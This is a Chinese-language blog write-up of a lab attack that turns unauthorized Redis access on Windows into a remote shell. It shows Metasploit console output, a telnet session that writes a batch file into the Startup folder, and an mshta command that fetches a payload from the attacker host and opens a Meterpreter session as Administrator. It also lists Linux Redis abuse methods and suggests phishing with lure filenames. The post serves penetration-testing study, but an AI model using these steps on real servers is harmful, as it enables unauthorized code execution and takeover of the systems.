https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html
虽说利用过程得 重启,我觉得 还有一种就是 利用钓鱼吧,直接在桌面生成一个 windows updade.dat
或者一些诱导性质的文件名让用户点击,就是稍微不靠谱点 0.0
环境搭建
windows版本redis: Redis-x64-3.2.100.msi
靶机环境: windows server 2012
IP: 10.107.11.76
攻击环境: kali linux
IP: 10.107.10.77
模拟redis未授权环境
编辑Redis
目录中的redis.windows.conf
配置文件,如下设置:
这样我们就得到了一个未授权的环境。
模拟攻击
mshta PS_shell
这里我们要用到PS_shell.rb
这个脚本,下载地址如下:
PS_shell.rb
下载脚本放到/usr/share/metasploit-framework/modules/exploits/windows/
目录下。
执行命令:
加载攻击脚本,然后执行如下命令:
msf > use exploit/windows/PS_shell
msf exploit(windows/PS_shell) > options
Module options (exploit/windows/PS_shell):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Exploit target:
Id Name
-- ----
0 Automatic
msf exploit(windows/PS_shell) > set uripath 123
uripath => 123
msf exploit(windows/PS_shell) > exploit
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.107.10.77:4444
msf exploit(windows/PS_shell) > [*] Using URL: http://0.0.0.0:8080/123
[*] Local IP: http://10.107.10.77:8080/123
[*] Server started.
[*] Place the following DDE in an MS document:
mshta.exe "http://10.107.10.77:8080/123"
|
从以上结果来看我们只需要执行mshta.exe "http://10.107.10.77:8080/123"
这个命令就可以得到一个反弹的shell了。
redis未授权写文件
这里我们回到windows
版本下的redis
。利用这个未授权进行写文件。
在linux
环境下,redis
未授权可以利用以下方法利用:
- 保存到www目录,创建webshell
- 创建SSH authorized_keys文件
- 写计划任务(/var/spool/cron/&/etc/cron.d/)
- slave of 8.8.8.8主从模式利用
- 写入到/etc/profile.d/用户环境变量
- 开启AOF持久化纯文本记录appendfilename
我们常用的就是前三种,但是在windows
这些都是不成立的。
在网上找了不少资料,windows
环境下的redis
未授权利用的文章还是比较少的,可以利用的点就是启动项
了,
但是还是比较鸡肋的,需要目标机器重启。
另外我在T00ls.net
看到的有人回复有如下方法:
- lpk,sethc,启动项,mof,ink劫持
- 写个hta下载powershell执行写入文件 metasploit等管理员上线
第一个对于redis
未授权写文件来说到除启动项,其他的对于写文件来说都是比较麻烦的。
第二个就是还是麻烦的,既然可以利用mshta
了就可以利用我上面说的PS_shell.rb
这个脚本了。
这里还是利用PS_shell.rb
生成一个恶意链接,利用mshta
这个命令来执行这个恶意链接反弹一个shell。
执行命令最简单的就是用bat
文件了。我们只需要写入一个eval.bat
来执行
mshta.exe "http://10.107.10.77:8080/123"
|
等待目标重启,我们就可以得到shell了。
写文件的时候需要注意的就是:redis
写文件会自动生成一个redis
版本信息,如下:
REDIS0007?redis-ver3.2.100?redis-bits繞?ctime聤K][?used-mem篓? ? ?
|
所以我们需要处理一下,在bat
中每一行当做一条命令执行。这里我们需要换行,换行也要注意的是。这里要用到\r\n
,而且一个\r\n
是不行的。这里我们用两个或多个\r\n
来进行换行。
未授权连接到redis
,执行如下命令:
root@kali:~# telnet 10.107.11.76 6379
Trying 10.107.11.76...
Connected to 10.107.11.76.
Escape character is '^]'.
config set dir "C://Users//Administrator//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//startup"
+OK
config set dbfilename 1.bat
+OK
config set dbfilename 1.bat
+OK
set x "\r\n\r\nmshta http://10.107.10.77:8080/123\r\n\r\n"
+OK
save
+OK
|
我们这边手动重启靶机,就可以反弹一个shell了。
msf exploit(windows/PS_shell) >
[*] 10.107.11.76 PS_shell - Delivering payload
[*] Sending stage (179779 bytes) to 10.107.11.76
[*] Meterpreter session 5 opened (10.107.10.77:4444 -> 10.107.11.76:49160) at 2018-07-30 23:05:42 -0400
sessions -i 5
[*] Starting interaction with 5...
meterpreter > getuid
Server username: WIN-HMRM0QMQ2QQ\Administrator
|